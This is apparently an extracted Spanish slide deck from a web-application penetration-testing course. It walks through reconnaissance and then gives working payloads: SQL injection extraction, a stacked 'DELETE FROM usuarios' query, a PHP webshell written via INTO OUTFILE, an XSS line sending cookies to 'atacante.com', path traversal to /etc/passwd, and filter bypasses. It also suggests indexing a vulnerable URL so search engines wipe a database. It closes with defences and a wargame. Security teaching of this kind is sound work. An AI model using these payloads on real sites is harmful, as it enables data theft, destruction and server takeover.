  • 7. Test de Intrusión o Pentest Fases Test de Intrusión para un atacante:
  • 8. Metodologías Nos sirven como guía, permitiéndonos seguir un orden en todas las posibles pruebas a realizar.orden en todas las posibles pruebas a realizar. Entre las mas importantes, sobre todo a nivel web esta OWASP (Open Web Application Security Project). A nivel general OSSTMM también es muy importante, ya que abarca todos los campos.
  • 9. 2. Footprinting y Fingerprinting
  • 10. ¿Qué es? Primeras fases de un test de intrusión donde se va a buscar toda la información posible del objetivo.buscar toda la información posible del objetivo. Footprinting: Obtención de información publica acerca del objetivo. (Menos útil a nivel web). Fingerprinting: Obtención de información acerca del SO, de la versión del servidor… (Menos útil a nivel web).
  • 11. Footprinting Esencial para elaborar un ataque sofisticado posterior.posterior. No intrusivo, la entidad no debe detectarlo. Recopilar mayor cantidad de información publica. Tipos: Activo: Se realizan pruebas contra los sistemas.Activo: Se realizan pruebas contra los sistemas. Pasivo: En ningún momento nos conectamos con el sistema a auditar.
  • 12. Footprinting Esta fase tiene mas sentido cuando se auditan sistemas informáticos grandes como el de algunasistemas informáticos grandes como el de alguna empresa. Recopilación Pasiva: Búsqueda con Google (Hacking Google) y otros buscadores.buscadores. Obtención de “vecinos web” de la aplicación. Recopilación Activa (Utilización de Proxys): Familiarizarse con la aplicación .
  • 13. Footprinting Google Hacking: Solo urls de la web auditada:Solo urls de la web auditada: Site:empresa.com Tecnología que usa (php,asp,aspx…): Site:empresa.com inurl:”.php?” Paginas con links a la web auditada: Link:empresa.com Archivos txt:Archivos txt: Site:empresa.com ext:txt Busquedas avanzadas: Buscando SQLi: Site:empresa.com inurl:”.php?” “Warning mysql_fetch_array()”
  • 14. Footprinting Obtención de “vecinos web”: Robtex.com (Nos da + opciones)Robtex.com (Nos da + opciones) Serversniff.net/content.php?do=hostonip Myipneighbors Recopilación activa: Navegar por la web y familiarizarse con ella. Comprender la lógica de la aplicación.
  • 15. Fingerprinting A veces incluido dentro de fase de obtención de información (activo).información (activo). Buscamos: Identificar las versiones y los servicios que ofrece el sistema a auditar. Identificación de sistemas operativos, elementos de red,Identificación de sistemas operativos, elementos de red, etcétera. Identificación de firewalls (WAF), IDS y CMS
  • 16. Fingerprinting Identificación las versiones y el SO: Búsqueda de banners/errores en la aplicación.Búsqueda de banners/errores en la aplicación. Utilización de herramientas (Identificacion de CMS) Joomscan y wpscan (Joomla o Wordpress) Utilización de crawlers para conocer la estructura de la aplicación (DirBuster). Comprobar si tiene algún tipo de WAF o IDS. Herramienta: Waffit
  • 17. Pruebas: Footprinting Fingerprinting Google Hacking Buscar “vecinos web” de uam.es Búsqueda de banners y mensajes de error Utilizar DirBuster Comprobar si existe WAFWAF Identificar CMS
  • 18. Navegación Anónima Antes de continuar es importante saber como podemos navegar de forma anónima, algopodemos navegar de forma anónima, algo necesario incluso cuando estamos realizando un pentest y la empresa lo sabe. Opciones: Utilización de TOR Utilización de algún proxy intermedioUtilización de algún proxy intermedio Navegación mediante proxy
  • 19. Navegación Anónima Utilización de TOR (https://www.torproject.org/): Comandos para iniciarlo (Ya esta instalado):Comandos para iniciarlo (Ya esta instalado): cd tor-browser_es-ES/ . /start-tor-browser Utilizar proxy intermedio (Configurar navegador): Por ejemplo: http://www.samair.ru/proxy/Por ejemplo: http://www.samair.ru/proxy/ Navegar desde proxy: Por ejemplo: http://glypeproxy.com/
  • 20. 3. Búsqueda de Vulnerabilidades
  • 21. Búsqueda de Vulnerabilidades Una vez sabemos como funciona la aplicación y tenemos identificados los posibles puntos detenemos identificados los posibles puntos de entrada es hora de buscar las diferentes vulnerabilidades. Tipos: SQL Injection XSSXSS RFI / LFI (+ Path Transversal) Por versiones de Software
  • 22. Búsqueda de Vulnerabilidades SQL Injection: Técnica que permite la manipulación de las consultasTécnica que permite la manipulación de las consultas que la aplicación realiza a la Base de Datos. Identificar los “Input” de la aplicación que se relacionan con la Base de Datos e intentar modificarla o hacer que falle (Añadiendo..): Una ‘Una ‘ Viendo si cambia al introducir: And 1=1 And 1=0
  • 23. Búsqueda de Vulnerabilidades XSS: Vulnerabilidades que permiten la modificación delVulnerabilidades que permiten la modificación del código fuente de la aplicación. Pueden ser: Persistentes: Cuando el código modificado se almacena. Reflejado: Cuando el código modificado se elimina al cargar de nuevo la pagina.cargar de nuevo la pagina. Forma de descubrirlo: Intentar introducir: “/><script>alert(123)</script> Viendo el código fuente de la aplicación.
  • 24. Búsqueda de Vulnerabilidades RFI / LFI (+ Path Transversal) LFI: Nos permite cargar archivos del sistema como porLFI: Nos permite cargar archivos del sistema como por ejemplo el archivo de contraseñas de linux (/etc/passwd). RFI: Nos permite cargar código de una pagina externa, lo que hace que se puedan utilizar webshells remotas que veremos mas adelante. Identificación (Ejemplo): Url: “index.php?page=http://google.com”
  • 25. Búsqueda de Vulnerabilidades Por versiones de Software: Buscar con la información obtenida de la primera faseBuscar con la información obtenida de la primera fase posibles exploits y vulnerabilidades para el sistema a auditar. Paginas donde buscar: http://www.exploit-db.comhttp://www.exploit-db.com http://www.securityfocus.com
  • 26. Búsqueda de Vulnerabilidades Herramientas: Nikto: Permite una búsqueda de vulnerabilidades sobreNikto: Permite una búsqueda de vulnerabilidades sobre todo a nivel web. Nos permite hacernos una idea de donde puede fallar la aplicación. root@bt:/pentest/web/nikto# perl nikto.pl –host x.com Herramientas de pago:Herramientas de pago: Acunetix Netsparker
  • 27. Pruebas: Búsqueda de Vulnerabilidades: Mediante Google Hacking encontrar web vulnerables a SQL Injection Encontrar XSS comprobando código fuente Leer archivo distinto al predefinido (LFI) Cargar Google.com (RFI)Cargar Google.com (RFI)
  • 28. 4. Explotación de Vulnerabilidades
  • 29. Explotación de Vulnerabilidades En esta fase vamos a ver de que formas podría un atacante sacar información confidencial o modificaratacante sacar información confidencial o modificar la aplicación web. Las técnicas que vamos a ver son: SQL Injection (Union, Blind, Time-base…) XSS (Reflejado y persistente)XSS (Reflejado y persistente) RFI / LFI (+ Path Transversal) Técnicas de Bypass Curiosidades
  • 30. SQL Injection Durante la formación vamos a ver los siguientes tipos de inyección SQL:tipos de inyección SQL: Mediante UNION Boolean-base Blind SQLi (A ciegas) Time-Base Blind SQLi (Basadas en tiempo) Heavy Queries SQLi (Consultas pesadas) Stack Queries SQLi (Consultas apiladas)Stack Queries SQLi (Consultas apiladas) De SQL Injection a RFI
  • 31. SQL Injection (Mediante UNION) Sacar información básica (usuario, DB…): Dejamos la consulta de la aplicación vacíaDejamos la consulta de la aplicación vacía Buscamos el numero de columnas que tiene la consulta para poder realizar nuestra propia consulta mediante “UNION” Sacamos información mediante: User(),database(),@@version,@@datadir…User(),database(),@@version,@@datadir…
  • 32. SQL Injection (Mediante UNION) Sacar tablas de la BD Utilizamos la tabla: information_schema.tablesUtilizamos la tabla: information_schema.tables De ahí sacamos que tablas hay en la base de datos Utilización de “limit N,1” para sacar las distintas tablas Sacar columnas de las tablas Idéntico al anterior pero utilizando information_schema.columns
  • 33. SQL Injection (Mediante UNION) Sacar registros de las tablas Con la información obtenida construimos la consultaCon la información obtenida construimos la consulta que queremos como: … UNION SELECT usuario,password FROM usuarios LIMIT 0,1 Pudiendo así ir sacando todos los registros de la tabla,Pudiendo así ir sacando todos los registros de la tabla, en caso de que no nos dejara todos a la vez.
  • 34. Boolean-base Blind SQLi En este caso, nos enfrentamos a una situación en la que el atacante no recibe ningún tipo deque el atacante no recibe ningún tipo de información por pantalla. Y habrá que ir realizando consultas y fijándonos si el resultado es positivo o negativo (Situación Booleana). Hay que ir extrayendo letra por letra todo la información. Ejemplo:información. Ejemplo: Ejemplo: … UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios
  • 35. Time-Base Blind SQLi Son situaciones similares a la anterior, donde la aplicación no muestra ningún tipo de dato por pantalla.aplicación no muestra ningún tipo de dato por pantalla. Pero además, ahora la aplicación tampoco cambiara entre dos opciones (la condición cierta y la falsa)… Aun así no esta todo perdido, es posible realizar otras consultas donde lo que nos va a indicar si es cierta o no la consulta será el tiempo de respuesta de la base dela consulta será el tiempo de respuesta de la base de datos. Ej: … UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios and sleep(5)
  • 36. Heavy Queries SQLi Esta técnica es una variante de la anterior, pero donde para complicar mas las cosas la opcióndonde para complicar mas las cosas la opción sleep() esta filtrada… En este caso deberemos realizar consultas pesadas, que provoquen que la base de datos tarde mucho en responder, logrando el mismo efecto que con sleep() aunque menos preciso.sleep() aunque menos preciso. Para esta técnica MySQL no tiene tantas opciones como Postgres o Mssql.
  • 37. Heavy Queries SQLi Ej: … UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios and 1=(SELECT COUNT(*) FROM information_schema.columns as a, information_schema.columns as b, information_schema.columns as c, information_schema.columns as d, information_schema.columns as e) Esta consulta tarda unos 5 segundos en realizarse.
  • 38. Stack Queries SQLi Esta ultima técnica que vamos a ver es sin duda la mas peligrosa.mas peligrosa. Hasta ahora todas las técnicas que hemos visto nos permitían obtener información, pero no modificarla. En cambio ahora si vamos a poder hacerlo mediante la apilación de consultas. Con ello podremos en una sola petición realizar varias consultas (Separadas por ‘;’).consultas (Separadas por ‘;’). Ej (Borrado completo de la tabla usuarios): … AND 1=0; DELETE FROM usuarios
  • 39. De SQL Injection a RFI Con esta ultima técnica vamos a ver una de las formas de lograr obtener un RFI mediante unaformas de lograr obtener un RFI mediante una inyección SQL. En el ejemplo crearemos un archivo php que podremos llamar desde el navegador introduciendo en el parámetro ‘cmd’ la url de la WebShell, obteniendo el control del servidor completo. Ej: … UNION SELECT 1,’<?php include($_GET[$cmd]); ?>’ INTO OUTFILE ‘/prueba.php’
  • 40. XSS Vulnerabilidad que principalmente se utiliza para el robo de cookies o credenciales, pero también pararobo de cookies o credenciales, pero también para realizar ‘defaces’ de webs, instalar keyloggers, troyanización de navegadores… Tipos: Reflejado: Permite únicamente el robo de cookies o credenciales. Se basa en la ejecución de código por parte del navegador al interpretar la url(Independiente).del navegador al interpretar la url(Independiente). Persistente: Permite todos los tipos de ataques anteriores, es menos común de encontrar. Los datos son guardados en el servidor, y servidos a todos aquellos que visiten la pagina.
  • 41. XSS Ejemplo de robo de cookies (Reflejado): <script>document.location="http://atacante.com/robo<script>document.location="http://atacante.com/robo _cookies.php?cookie=" + document.cookie</script> Esto permite que el atacante robe los datos y pueda logearse en la aplicación modificando sus cookies. Realización de deface (Persistente):Realización de deface (Persistente): Cargar pagina externa Modificar la pagina actual con código Javascript
  • 42. RFI / LFI RFI (Remote File Inclusion): Permite cargar en el servidor código que se encuentra en otro servidor.servidor código que se encuentra en otro servidor. Normalmente se utiliza para subir una WebShell y tomar el control del servidor. Es complicado encontrar este tipo de vulnerabilidades, ya que se necesita que se den una serie de condiciones…condiciones… Para explotarlo únicamente seria necesario cargar la url donde se encuentre la WebShell, siempre en txt debido a que sino se ejecutaría en nuestro servidor.
  • 43. RFI / LFI LFI: Nos permite acceder a ficheros del servidor de carácter privado. Para ello normalmente se hace uso del Path Transversal, que es una técnica para ir carácter privado. Para ello normalmente se hace uso del Path Transversal, que es una técnica para ir saltando de directorio. Ej: Aplicación: ?page=index.php Atacante: ?page=../../../../../../../../../../etc/passwd Consiguiendo con esto acceso al archivo /etc/passwd del servidor.
  • 44. Técnicas de Bypass En algunas aplicaciones que se encuentra ‘seguras’ se filtran una serie de cadenas para evitar que sese filtran una serie de cadenas para evitar que se lleven acabo ciertas técnicas como SQLi o XSS. Pero en la inmensa mayoría resulta trivial saltárselas realizando pequeñas modificaciones. Bypass de filtros en: SQL InjectionSQL Injection XSS
  • 45. Técnicas de Bypass (SQLi) Con estas técnicas básicas es posible saltarse la gran mayoría de filtros, debido a que únicamente buscaranmayoría de filtros, debido a que únicamente buscaran la palabra exacta y no pequeñas variaciones. Alternar May. Y Min: … uNiOn SelEcT 1,2 AND Filtrado: Sustituir AND por %26%26 OR Filtrado: Sustituir OR por ||OR Filtrado: Sustituir OR por || Uso de comentarios: … uNi/**/On Sel/**/EcT 1,2
  • 46. Tecnicas de Bypass(XSS) En el caso de XSS es similar… Caracteres ‘<’ y ‘>’ filtrados: Sustituirlos por %3c y %3e (Su valor en ascii) Palabras como script filtradas: Intercalar May. y Min.Intercalar May. y Min. Uso de comentarios: <scr<--comentario-->ipt> Uso de URL Encode, etc…
  • 47. Curiosidades Buscadores como arma de destrucción masiva: Indexar una url vulnerable a Stack Queries SQLi enIndexar una url vulnerable a Stack Queries SQLi en buscadores como Google, Bing… Lo que podría permitir que cada cierto tiempo a dicha aplicación se le borrara la DB. Troyanizacion de navegadores:Troyanizacion de navegadores: Mediante la herramienta BeEF es posible troyanizar los navegadores de todas aquellas personas que entren en una pagina vulnerable a XSS Persistente.
  • 48. Pruebas Explotación de Vulnerabilidades: SQL Injection Obtener información privada de la aplicación Descubrir Boolean-Base Blind SQLi Descubrir Time-Base Blind SQLi Bypass de filtro SQL Injection Lograr RFI desde SQL Injection
  • 49. Pruebas XSS RFI / LFI Realizar XSS Reflejado Introducir XSS Persistente con un comentario Acceso a archivos privados del serv. Utilización de una WebShell comentario Salto de filtro XSS
  • 51. Soluciones La gran mayoría de fallos vistos se podrían evitar si desde un principio se hubieran implementado medidasdesde un principio se hubieran implementado medidas de seguridad, normalmente con un correcto tratamiento de todos aquellos input es suficiente. Daremos una solución sencilla pero efectiva a los ataques vistos (SQLi, XSS, RFI/LFI) Como por ejemplo, si se espera un numero, utilizar funcionesComo por ejemplo, si se espera un numero, utilizar funciones como isint en php, evitando que se introduzca otra cosa. Aunque para asegurar realmente una aplicación a “prueba de bombas” suele ser muy efectivo un WAF.
  • 52. Soluciones SQL Injection: Transformar todo a ascii (evitando caracteres en hex.)Transformar todo a ascii (evitando caracteres en hex.) Utilización de funciones propias del servidor para securizar las consultas (php+mysql como mysql_real_query, etc…) Realizar un filtrado de las palabras: And, or, union, select, concat, group, from, where, sleep, etc… XSS: Utilizar funciones propias del lenguaje como: html_entitiesUtilizar funciones propias del lenguaje como: html_entities Además realizar un filtrado tanto de comentarios como de caracteres especiales. Dejar todo en minúsculas o mayúsculas.
  • 53. Soluciones RFI / LFI: Desactivar características del servidor web como:Desactivar características del servidor web como: allow_url_fopen allow_url_include Que eviten que un atacante pueda incluir archivos tanto remotos como locales. Evitar el uso de ciertas funciones como:Evitar el uso de ciertas funciones como: Include Require Require_once …
  • 54. Fin … Una vez hemos visto como realizar un proceso de pentest o test de intrusión completo a una aplicación web, siguiendo todas y cada una de sus fases desde la obtención de información hasta la solución de las vulnerabilidades, es hora de…solución de las vulnerabilidades, es hora de…
  • 55. !Aun queda lo mas divertido! 5. Wargame
  • 56. Wargame Una vez hemos aprendido las técnicas mas utilizadas tanto por los atacantes como por loutilizadas tanto por los atacantes como por lo pentesters es hora de demostrar todo lo que sabéis. Se os pondrán una serie de retos que deberéis intentar realizar lo antes posible, quien al final sume mas puntos será el ganador asique…sume mas puntos será el ganador asique… Suerte!!
  • 57. Wargame Retos a realizar: Obtener Usuarios 30 puntosObtener Usuarios 30 puntos Logearse como usuario 50 puntos Obtener datos bancarios 30 puntos Modificar datos bancarios (Ayudar a pette) 150 pts Deface sencillo de la pag. Principal 100 puntos Ejecutar comandos en el SO 75 puntosEjecutar comandos en el SO 75 puntos Lectura del fichero: C:/xampp/premio.php 20 puntos
  • 58. ESPERO QUE LO HAYÁIS DISFRUTADO Y APRENDIDO MUCHO DE LA FORMACIÓN. PARA MI HA SIDO UN PLACER Y YA SABÉIS QUE PARA LO QUE NECESITÉIS NO DUDÉIS EN PONEROS EN CONTACTO CONMIGO!PONEROS EN CONTACTO CONMIGO! UN SALUDO A TOD@S! GRACIAS. GRACIAS EN ESPECIAL A: ROBERTO LOPEZROBERTO LOPEZ ÁLVARO ORTIGOSA ÁLVARO GOMEZ (J0K3N) Realizada por: Eduardo Arriols